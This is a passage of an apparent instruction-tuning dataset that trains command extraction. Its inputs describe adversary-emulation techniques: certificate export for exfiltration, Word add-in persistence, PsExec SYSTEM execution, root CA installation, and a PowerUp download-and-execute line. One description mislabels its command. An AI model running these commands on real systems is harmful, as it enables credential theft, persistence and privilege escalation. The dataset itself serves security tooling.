    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process of exporting all user certificates and compressing them into an archive can be done with the command:\n$archive=\"$env:PUBLIC\\T1649\\atomic_certs.zip\"\n$exfilpath=\"$env:PUBLIC\\T1649\\certs\"\nAdd-Type -assembly \"system.io.compression.filesystem\"\nRemove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore\nmkdir $exfilpath | Out-Null\nforeach ($cert in (gci Cert:\\CurrentUser\\My)) { Export-Certificate -Cert $cert -FilePath $exfilpath\\$($cert.FriendlyName).cer}\n[io.compression.zipfile]::CreateFromDirectory($exfilpath, $archive)\n",
    "output": "{\"command_list\": [\"$archive=\\\"$env:PUBLIC\\\\T1649\\\\atomic_certs.zip\\\"\\n$exfilpath=\\\"$env:PUBLIC\\\\T1649\\\\certs\\\"\\nAdd-Type -assembly \\\"system.io.compression.filesystem\\\"\\nRemove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore\\nmkdir $exfilpath | Out-Null\\nforeach ($cert in (gci Cert:\\\\CurrentUser\\\\My)) { Export-Certificate -Cert $cert -FilePath $exfilpath\\\\$($cert.FriendlyName).cer}\\n[io.compression.zipfile]::CreateFromDirectory($exfilpath, $archive)\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For LockBit Black, you can turn off the Privacy Settings Experience with the command: reg add \"HKCU\\Software\\Policies\\Microsoft\\Windows\\OOBE\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\OOBE\\\" /v DisablePrivacyExperience /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    PsExec, a powerful tool for remote management, can also execute processes under the local system account, which has full system access. To demonstrate this, run the following command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\PsExec.exe\" -accepteula -s %COMSPEC% /c whoami",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PsExec.exe\\\" -accepteula -s %COMSPEC% /c whoami\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Processes running on the system can be displayed with the command: taskmgr.exe /7",
    "output": "{\"command_list\": [\"taskmgr.exe /7\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The executable will pause for 30 seconds to facilitate message exchange between client and server, which can be initiated with this command: \"PathToAtomicsFolder\\..\\ExternalPayloads\\build\\namedpipes_executor.exe\" --pipe 2",
    "output": "{\"command_list\": [\"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\build\\\\namedpipes_executor.exe\\\" --pipe 2\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a Word Add-in file (WLL) that runs automatically when Word starts, use the following command. The sample WLL launches notepad as a proof-of-concept for persistent execution from Office, tested successfully on 32-bit Office 2016 but not on Microsoft 365:\n$wdApp = New-Object -COMObject \"Word.Application\"\nif(-not $wdApp.path.contains(\"Program Files (x86)\"))  \n{\n  Write-Host \"64-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x64.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"        \n}\nelse{\n  Write-Host \"32-bit Office\"\n  Copy \"PathToAtomicsFolder\\T1137.006\\bin\\Addins\\wordwll_x86.wll\" \"$env:APPDATA\\Microsoft\\Word\\Startup\\notepad.wll\"\n}\nStop-Process -Name \"WinWord\" \nStart-Process \"WinWord\"",
    "output": "{\"command_list\": [\"$wdApp = New-Object -COMObject \\\"Word.Application\\\"\\nif(-not $wdApp.path.contains(\\\"Program Files (x86)\\\"))  \\n{\\n  Write-Host \\\"64-bit Office\\\"\\n  Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\wordwll_x64.wll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Word\\\\Startup\\\\notepad.wll\\\"        \\n}\\nelse{\\n  Write-Host \\\"32-bit Office\\\"\\n  Copy \\\"PathToAtomicsFolder\\\\T1137.006\\\\bin\\\\Addins\\\\wordwll_x86.wll\\\" \\\"$env:APPDATA\\\\Microsoft\\\\Word\\\\Startup\\\\notepad.wll\\\"\\n}\\nStop-Process -Name \\\"WinWord\\\" \\nStart-Process \\\"WinWord\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A root CA can be generated with openssl by executing this sequence of commands: openssl genrsa -out #{key_filename} 4096\nopenssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj \"/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com\" -out #{cert_filename}\ncp #{cert_filename} /etc/pki/ca-trust/source/anchors/\nupdate-ca-trust\n",
    "output": "{\"command_list\": [\"openssl genrsa -out #{key_filename} 4096\\nopenssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj \\\"/C=US/ST=Denial/L=Springfield/O=Dis/CN=www.example.com\\\" -out #{cert_filename}\\ncp #{cert_filename} /etc/pki/ca-trust/source/anchors/\\nupdate-ca-trust\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    On MacOS, you can hide a file by executing this command: xattr -lr * / 2>&1 /dev/null | grep -C 2 \"00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00\"",
    "output": "{\"command_list\": [\"xattr -lr * / 2>&1 /dev/null | grep -C 2 \\\"00 00 00 00 00 00 00 00 40 00 FF FF FF FF 00 00\\\"\\n\"]}"
  },
  {
